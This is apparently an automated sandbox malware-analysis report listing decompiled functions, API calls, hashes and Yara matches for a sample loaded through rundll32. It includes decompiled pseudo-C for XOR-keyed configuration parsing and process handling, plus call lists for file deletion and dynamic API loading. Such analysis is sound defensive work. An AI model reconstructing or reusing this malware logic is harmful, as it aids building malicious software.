                                            • Instruction ID: 6800d1ae021ecc274aac310d6554d2579391281bc8578767e1ec5e37004d5432
                                            • Opcode Fuzzy Hash: 7390524149c7c6374fe1df2bddcf9ce041d186a9a098b98263ff23bf793cb56d
                                            • Instruction Fuzzy Hash: DD415F71518345EFDB11EF28EC49A6FBBE9FB88358F00092BF59996210DB71C948CB52
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD591B Relevance: 16.6, APIs: 11, Instructions: 94memorystringsynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • wcscpy.NTDLL ref: 05DD594F
                                            • GetLogicalDriveStringsW.KERNEL32(00000000,00000000), ref: 05DD595B
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD596C
                                            • memset.NTDLL ref: 05DD5989
                                            • GetLogicalDriveStringsW.KERNEL32(?,?), ref: 05DD5997
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DD59A5
                                            • GetDriveTypeW.KERNEL32(?), ref: 05DD59B3
                                            • lstrlenW.KERNEL32(?), ref: 05DD59BF
                                            • wcscpy.NTDLL ref: 05DD59D1
                                            • lstrlenW.KERNEL32(?), ref: 05DD59EB
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD5A04
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Drive$HeapLogicalStringslstrlenwcscpy$AllocateFreeObjectSingleTypeWaitmemset
                                            • String ID:
                                            • API String ID: 3888849384-0
                                            • Opcode ID: babca6f6d0038b323ba968a9a617be609fee0d0301551076673805c9cca5d568
                                            • Instruction ID: 312423d3224eff3dbabce51237865554d9c18e5feea3433a4782050dd04e5288
                                            • Opcode Fuzzy Hash: babca6f6d0038b323ba968a9a617be609fee0d0301551076673805c9cca5d568
                                            • Instruction Fuzzy Hash: 6C31EF76910118FFDF019BA8EC89CEEBFBDEB04364B104467F505A2110DB359E559B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB475F Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 258memoryCOMMONCrypto
                                            Download Yara Rule
                                            C-Code - Quality: 93%
                                            			E04AB475F(void* __ebx, int* __ecx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t115;
				void* _t118;
				intOrPtr _t121;

				_t118 = __esi;
				_t115 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x4aba344; // 0x69b25f44
				if(E04AB4556( &_v8,  &_v12, _t28 ^ 0x889a0120) != 0 && _v12 >= 0x110) {
					 *0x4aba378 = _v8;
				}
				_t33 =  *0x4aba344; // 0x69b25f44
				if(E04AB4556( &_v16,  &_v12, _t33 ^ 0x0159e6c7) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x4aba344; // 0x69b25f44
				_push(_t115);
				if(E04AB4556( &_v12,  &_v8, _t39 ^ 0xe60382a5) == 0) {
					L67:
					HeapFree( *0x4aba2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x4aba344; // 0x69b25f44
						_t45 = E04AB296E(_t104, _t102, _t98 ^ 0x7895433b);
					}
					_push(_t118);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x4aba2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x4aba344; // 0x69b25f44
						_t46 = E04AB296E(_t104, _t102, _t94 ^ 0x219b08c7);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x4aba2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x4aba344; // 0x69b25f44
						_t47 = E04AB296E(_t104, _t102, _t90 ^ 0x31fc0661);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x4aba2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x4aba344; // 0x69b25f44
						_t48 = E04AB296E(_t104, _t102, _t86 ^ 0x0cd926ce);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x4aba004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x4aba344; // 0x69b25f44
						_t49 = E04AB296E(_t104, _t102, _t82 ^ 0x3cd8b2cb);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x4aba02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x4aba344; // 0x69b25f44
						_t50 = E04AB296E(_t104, _t102, _t78 ^ 0x2878b929);
					}
					if(_t50 == 0) {
						L41:
						 *0x4aba2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x4aba344; // 0x69b25f44
								_t51 = E04AB296E(_t104, _t102, _t75 ^ 0x261a367a);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E04AB3A24(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E04AB3F7E();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x4aba344; // 0x69b25f44
								_t52 = E04AB296E(_t104, _t102, _t70 ^ 0xb9d404b2);
							}
							if(_t52 != 0 && E04AB3A24(0, _t52) != 0) {
								_t121 =  *0x4aba3cc; // 0x56295b0
								E04AB68F5(_t121 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x4aba344; // 0x69b25f44
								_t53 = E04AB296E(_t104, _t102, _t65 ^ 0x3df17130);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x4aba348; // 0xb6d5a8
								_t22 = _t54 + 0x4abb252; // 0x616d692f
								 *0x4aba374 = _t22;
								goto L60;
							} else {
								_t64 = E04AB3A24(0, _t53);
								 *0x4aba374 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x4aba344; // 0x69b25f44
										_t56 = E04AB296E(_t104, _t102, _t61 ^ 0xd2079859);
									}
									if(_t56 == 0) {
										_t57 =  *0x4aba348; // 0xb6d5a8
										_t23 = _t57 + 0x4abb791; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E04AB3A24(0, _t56);
									}
									 *0x4aba3e0 = _t58;
									HeapFree( *0x4aba2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                                            0x04ab475f
                                            0x04ab475f
                                            0x04ab475f
                                            0x04ab475f
                                            0x04ab4762
                                            0x04ab477f
                                            0x04ab478d
                                            0x04ab478d
                                            0x04ab4792
                                            0x04ab47ac
                                            0x04ab4a1a
                                            0x04ab4a21
                                            0x04ab4a25
                                            0x04ab4a25
                                            0x04ab47b2
                                            0x04ab47b7
                                            0x04ab47cf
                                            0x04ab4a07
                                            0x04ab4a11
                                            0x00000000
                                            0x04ab47d5
                                            0x04ab47d5
                                            0x04ab47d6
                                            0x04ab47db
                                            0x04ab47f1
                                            0x04ab47dd
                                            0x04ab47dd
                                            0x04ab47ea
                                            0x04ab47ea
                                            0x04ab47f3
                                            0x04ab47fc
                                            0x04ab47fe
                                            0x04ab4808
                                            0x04ab480d
                                            0x04ab480d
                                            0x04ab4808
                                            0x04ab4814
                                            0x04ab482a
                                            0x04ab4816
                                            0x04ab4816
                                            0x04ab4823
                                            0x04ab4823
                                            0x04ab482e
                                            0x04ab4830
                                            0x04ab483a
                                            0x04ab483f
                                            0x04ab483f
                                            0x04ab483a
                                            0x04ab4846
                                            0x04ab485c
                                            0x04ab4848
                                            0x04ab4848
                                            0x04ab4855
                                            0x04ab4855
                                            0x04ab4860
                                            0x04ab4862
                                            0x04ab486c
                                            0x04ab4871
                                            0x04ab4871
                                            0x04ab486c
                                            0x04ab4878
                                            0x04ab488e
                                            0x04ab487a
                                            0x04ab487a
                                            0x04ab4887
                                            0x04ab4887
                                            0x04ab4892
                                            0x04ab4894
                                            0x04ab489e
                                            0x04ab48a3
                                            0x04ab48a3
                                            0x04ab489e
                                            0x04ab48aa
                                            0x04ab48c0
                                            0x04ab48ac
                                            0x04ab48ac
                                            0x04ab48b9
                                            0x04ab48b9
                                            0x04ab48c4
                                            0x04ab48c6
                                            0x04ab48d0
                                            0x04ab48d5
                                            0x04ab48d5
                                            0x04ab48d0
                                            0x04ab48dc
                                            0x04ab48f2
                                            0x04ab48de
                                            0x04ab48de
                                            0x04ab48eb
                                            0x04ab48eb
                                            0x04ab48f6
                                            0x04ab4909
                                            0x04ab4909
                                            0x00000000
                                            0x04ab48f8
                                            0x04ab48f8
                                            0x04ab4902
                                            0x00000000
                                            0x04ab4913
                                            0x04ab4913
                                            0x04ab4915
                                            0x04ab492b
                                            0x04ab4917
                                            0x04ab4917
                                            0x04ab4924
                                            0x04ab4924
                                            0x04ab492f
                                            0x04ab4931
                                            0x04ab4934
                                            0x04ab4935
                                            0x04ab493c
                                            0x04ab493e
                                            0x04ab493f
                                            0x04ab493f
                                            0x04ab493c
                                            0x04ab4946
                                            0x04ab495c
                                            0x04ab4948
                                            0x04ab4948
                                            0x04ab4955
                                            0x04ab4955
                                            0x04ab4960
                                            0x04ab496e
                                            0x04ab4978
                                            0x04ab4978
                                            0x04ab4980
                                            0x04ab4996
                                            0x04ab4982
                                            0x04ab4982
                                            0x04ab498f
                                            0x04ab498f
                                            0x04ab499a
                                            0x04ab49ad
                                            0x04ab49ad
                                            0x04ab49b2
                                            0x04ab49b8
                                            0x00000000
                                            0x04ab499c
                                            0x04ab499f
                                            0x04ab49a4
                                            0x04ab49ab
                                            0x04ab49bd
                                            0x04ab49bf
                                            0x04ab49d5
                                            0x04ab49c1
                                            0x04ab49c1
                                            0x04ab49ce
                                            0x04ab49ce
                                            0x04ab49d9
                                            0x04ab49e5
                                            0x04ab49ea
                                            0x04ab49ea
                                            0x04ab49db
                                            0x04ab49de
                                            0x04ab49de
                                            0x04ab49f8
                                            0x04ab49fd
                                            0x04ab4a03
                                            0x00000000
                                            0x04ab4a06
                                            0x00000000
                                            0x04ab49ab
                                            0x04ab499a
                                            0x04ab4902
                                            0x04ab48f6

                                            APIs
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,04ABA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04AB4804
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,04ABA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04AB4836
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,04ABA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04AB4868
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,04ABA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04AB489A
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,04ABA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04AB48CC
                                            • StrToIntExA.SHLWAPI(00000000,00000000,?,04ABA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04AB48FE
                                            • HeapFree.KERNEL32(00000000,?,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?,?), ref: 04AB49FD
                                            • HeapFree.KERNEL32(00000000,?,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?,?), ref: 04AB4A11
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: FreeHeap
                                            • String ID: Uv
                                            • API String ID: 3298025750-4002285713
                                            • Opcode ID: 39d05915a75d6883496f8ba63e853f5eb1944fbb034613c8515671362e2a7b69
                                            • Instruction ID: 53dd38140aa11c7bc9dc094a340123e6b44fe7ef134948212e5868ecb3c242dd
                                            • Opcode Fuzzy Hash: 39d05915a75d6883496f8ba63e853f5eb1944fbb034613c8515671362e2a7b69
                                            • Instruction Fuzzy Hash: F0819F75A10304ABDB11EBB89E84DEF77EDEB5C6007240929A4C1E7117EA39FD4297E0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDCE21 Relevance: 12.1, APIs: 8, Instructions: 111stringfileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD3AA7: ExpandEnvironmentStringsW.KERNEL32(76E106E0,00000000,00000000,76E106E0,?,80000001,05DE8CB5,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DD3AB8
                                              • Part of subcall function 05DD3AA7: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000,?,80000001,05DE8CB5,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DD3AD5
                                            • FreeLibrary.KERNEL32(?), ref: 05DDCF57
                                              • Part of subcall function 05DE0F11: lstrlenW.KERNEL32(?,00000000,?,?,?,05DDCE9C,?,?), ref: 05DE0F1E
                                              • Part of subcall function 05DE0F11: GetCurrentDirectoryW.KERNEL32(00007FFF,00000000,00010012,?,?,?,05DDCE9C,?,?), ref: 05DE0F47
                                              • Part of subcall function 05DE0F11: lstrcpyW.KERNEL32(-0000FFFE,?), ref: 05DE0F67
                                              • Part of subcall function 05DE0F11: lstrcpyW.KERNEL32(-00000002,?), ref: 05DE0F83
                                              • Part of subcall function 05DE0F11: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,05DDCE9C,?,?), ref: 05DE0F8F
                                              • Part of subcall function 05DE0F11: LoadLibraryW.KERNEL32(-0000FFFE,?,?,?,?,05DDCE9C,?,?), ref: 05DE0F92
                                              • Part of subcall function 05DE0F11: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,05DDCE9C,?,?), ref: 05DE0F9E
                                              • Part of subcall function 05DE0F11: GetProcAddress.KERNEL32(00000000,?), ref: 05DE0FBB
                                              • Part of subcall function 05DE0F11: GetProcAddress.KERNEL32(00000000,?), ref: 05DE0FD5
                                              • Part of subcall function 05DE0F11: GetProcAddress.KERNEL32(00000000,?), ref: 05DE0FEB
                                              • Part of subcall function 05DE0F11: GetProcAddress.KERNEL32(00000000,?), ref: 05DE1001
                                              • Part of subcall function 05DE0F11: GetProcAddress.KERNEL32(00000000,?), ref: 05DE1017
                                              • Part of subcall function 05DE0F11: GetProcAddress.KERNEL32(00000000,?), ref: 05DE102D
                                            • FindFirstFileW.KERNEL32(?,?,?,?), ref: 05DDCEAD
                                            • lstrlenW.KERNEL32(?), ref: 05DDCEC9
                                            • lstrlenW.KERNEL32(?), ref: 05DDCEE1
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 05DDCEFA
                                            • lstrcpyW.KERNEL32(00000002), ref: 05DDCF0F
                                              • Part of subcall function 05DD414B: lstrlenW.KERNEL32(?), ref: 05DD415B
                                              • Part of subcall function 05DD414B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000,00000001), ref: 05DD417D
                                              • Part of subcall function 05DD414B: lstrcpyW.KERNEL32(00000000,?), ref: 05DD41A9
                                              • Part of subcall function 05DD414B: lstrcatW.KERNEL32(00000000,?), ref: 05DD41BC
                                            • FindNextFileW.KERNEL32(?,00000010), ref: 05DDCF37
                                            • FindClose.KERNEL32(00000002), ref: 05DDCF45
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$lstrcpy$lstrlen$CurrentDirectoryFind$EnvironmentExpandFileLibraryStrings$AllocateByteCharCloseFirstFreeHeapLoadMultiNextWidelstrcat
                                            • String ID:
                                            • API String ID: 1209511739-0
                                            • Opcode ID: a2ebc28ae101ce7bacf2465c641864171c284ba0fb194a5adc006f179569dfc2
                                            • Instruction ID: cb7c0bd141652619cdaca1e17fd2d368d6d94ab54b7f9bb7aed7b4481b17e164
                                            • Opcode Fuzzy Hash: a2ebc28ae101ce7bacf2465c641864171c284ba0fb194a5adc006f179569dfc2
                                            • Instruction Fuzzy Hash: 00417A715193469FD711EF64DC48A6FFBE9FB88705F00092BF58492260DB31D908CBA2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDFCC0 Relevance: 10.6, APIs: 7, Instructions: 109filestringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?), ref: 05DDFCD8
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • FindFirstFileW.KERNEL32(?,00000000,?,00000250,?,0000000A,00000208), ref: 05DDFD41
                                            • lstrlenW.KERNEL32(00000250,?,00000250,?,0000000A,00000208), ref: 05DDFD69
                                            • RemoveDirectoryW.KERNEL32(?,?,00000250,?,0000000A,00000208), ref: 05DDFDBB
                                            • DeleteFileW.KERNEL32(?,?,00000250,?,0000000A,00000208), ref: 05DDFDC6
                                            • FindNextFileW.KERNEL32(?,00000000,?,00000250,?,0000000A,00000208), ref: 05DDFDD9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Findlstrlen$AllocateDeleteDirectoryFirstHeapNextRemove
                                            • String ID:
                                            • API String ID: 499515686-0
                                            • Opcode ID: 09e8f41d97f42932c0c90b5fec5ba83bb6c16b83b889ba6255b9d0eb357c97c7
                                            • Instruction ID: 5fc3f3da36472208d2b5b7c448b8f7006d49a6535b012fa5e5050e3fee5fc6e3
                                            • Opcode Fuzzy Hash: 09e8f41d97f42932c0c90b5fec5ba83bb6c16b83b889ba6255b9d0eb357c97c7
                                            • Instruction Fuzzy Hash: 0A41257190020AEFDF11AFA4DC49AAEFFB9FF04314F104167E916A6260DB71DA94DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB515F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB515F(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x4aba30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x4aba2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x4aba2f8 = _t6;
					 *0x4aba304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x4aba2f4 = _t7;
					if(_t7 == 0) {
						 *0x4aba2f4 =  *0x4aba2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                                            0x04ab5167
                                            0x04ab516d
                                            0x04ab5174
                                            0x00000000
                                            0x04ab51ce
                                            0x04ab5176
                                            0x04ab517e
                                            0x04ab518b
                                            0x04ab518b
                                            0x04ab51cb
                                            0x00000000
                                            0x04ab51cb
                                            0x04ab518d
                                            0x04ab518d
                                            0x04ab5192
                                            0x04ab51a4
                                            0x04ab51a9
                                            0x04ab51af
                                            0x04ab51b5
                                            0x04ab51bc
                                            0x04ab51be
                                            0x04ab51be
                                            0x00000000
                                            0x04ab51c5
                                            0x04ab5187
                                            0x00000000
                                            0x00000000
                                            0x04ab5189
                                            0x00000000

                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04AB3D54,?), ref: 04AB5167
                                            • GetVersion.KERNEL32 ref: 04AB5176
                                            • GetCurrentProcessId.KERNEL32 ref: 04AB5192
                                            • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04AB51AF
                                            • GetLastError.KERNEL32 ref: 04AB51CE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                                            • String ID: @MvNv
                                            • API String ID: 2270775618-19517777
                                            • Opcode ID: d6f2bbf7a1f976caac0e0e6abfb78a5004a8b20b3900db8f18cfa7704328e270
                                            • Instruction ID: 90da2edc68446f3dffa137c830a1f1cb827c2abc763779957acb7c938d6b80f4
                                            • Opcode Fuzzy Hash: d6f2bbf7a1f976caac0e0e6abfb78a5004a8b20b3900db8f18cfa7704328e270
                                            • Instruction Fuzzy Hash: 49F08670B41702BBE7246F207805B953B68E715749F104415E652DE2F3D6BA5882CFD4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA513 Relevance: 9.1, APIs: 6, Instructions: 64libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • LoadLibraryA.KERNEL32(?,00000000,?,00000014,?,05DD4E94), ref: 05DDA533
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DDA552
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DDA567
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DDA57D
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DDA593
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DDA5A9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$AllocateHeapLibraryLoad
                                            • String ID:
                                            • API String ID: 2486251641-0
                                            • Opcode ID: eeb7fcfd5d1a073783fdbf1a44dd1ac8bf450f8f7e97ac55138d7fd978c3379b
                                            • Instruction ID: 7367c81942d0d5f0590b25dcf66e46dfc8f89669ce4ee580a3b65d800b2f4308
                                            • Opcode Fuzzy Hash: eeb7fcfd5d1a073783fdbf1a44dd1ac8bf450f8f7e97ac55138d7fd978c3379b
                                            • Instruction Fuzzy Hash: DC110D7160160B9FAB109BADEC99E67B7ECBF552813058467F986CB311EB34EC408B71
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7A1E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DD7A40
                                              • Part of subcall function 05DEAD9E: NtAllocateVirtualMemory.NTDLL(05DD7A68,00000000,00000000,05DD7A68,00003000,00000040), ref: 05DEADCF
                                              • Part of subcall function 05DEAD9E: RtlNtStatusToDosError.NTDLL(00000000), ref: 05DEADD6
                                              • Part of subcall function 05DEAD9E: SetLastError.KERNEL32(00000000), ref: 05DEADDD
                                            • GetLastError.KERNEL32(?,00000318,00000008), ref: 05DD7B50
                                              • Part of subcall function 05DD29B2: RtlNtStatusToDosError.NTDLL(00000000), ref: 05DD29CA
                                            • memcpy.NTDLL(00000218,05DF32B0,00000100,?,00010003,00001003,?,00000318,00000008), ref: 05DD7ACF
                                            • RtlNtStatusToDosError.NTDLL(00000000), ref: 05DD7B29
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Error$Status$Last$AllocateMemoryVirtualmemcpymemset
                                            • String ID:
                                            • API String ID: 2966525677-3916222277
                                            • Opcode ID: e9162aef3b11db1ff0caf4786acb30a9167becb307c6e77a82a41602a58ce6a3
                                            • Instruction ID: 1ef7d32c8e667ab1d3b3af650b6ff0497570e0ab04e3b79755165dd5d8ae0e61
                                            • Opcode Fuzzy Hash: e9162aef3b11db1ff0caf4786acb30a9167becb307c6e77a82a41602a58ce6a3
                                            • Instruction Fuzzy Hash: 24316471A0130AEFDB21DF64DD88BAAF7B9FF14205F1045ABE55AD7241E730EA448B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD8FA6 Relevance: 7.9, APIs: 6, Instructions: 401COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset$memcpy
                                            • String ID:
                                            • API String ID: 368790112-0
                                            • Opcode ID: 12ed831c5ce813e1441d46950e2a321b3c88447af0bea89597ce4abb2e7a70ba
                                            • Instruction ID: 7d1c535d002e61bc56f282285c7c854f721aea7fb651d89f924a6b3d8bb037a5
                                            • Opcode Fuzzy Hash: 12ed831c5ce813e1441d46950e2a321b3c88447af0bea89597ce4abb2e7a70ba
                                            • Instruction Fuzzy Hash: 2BF1F530504795DFCB31CF69C9A8AAAFBF0FF41700F14496EC9D786681D232AA45CB20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5188 Relevance: 6.1, APIs: 4, Instructions: 114stringnativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtQueryKey.NTDLL(?,00000003,00000000,00000000,?), ref: 05DE51DE
                                            • lstrlenW.KERNEL32(?), ref: 05DE51EC
                                            • NtQueryKey.NTDLL(?,00000003,00000000,?,?), ref: 05DE5217
                                            • lstrcpyW.KERNEL32(00000006,00000000), ref: 05DE5245
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Query$lstrcpylstrlen
                                            • String ID:
                                            • API String ID: 3961825720-0
                                            • Opcode ID: b9d9daab3537d1e28e3df38c72ab973b9d98db6f9a8f62290acc3efba8447c6a
                                            • Instruction ID: 5882e1ba02d1371ab5edd106f12c08eba6c51ea21f0d746eadbc85efb8a9ea1e
                                            • Opcode Fuzzy Hash: b9d9daab3537d1e28e3df38c72ab973b9d98db6f9a8f62290acc3efba8447c6a
                                            • Instruction Fuzzy Hash: C4416C71601209FFDF11DFA8D885EAEBBB9FF04358F10406AF90696260DB31EA11DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

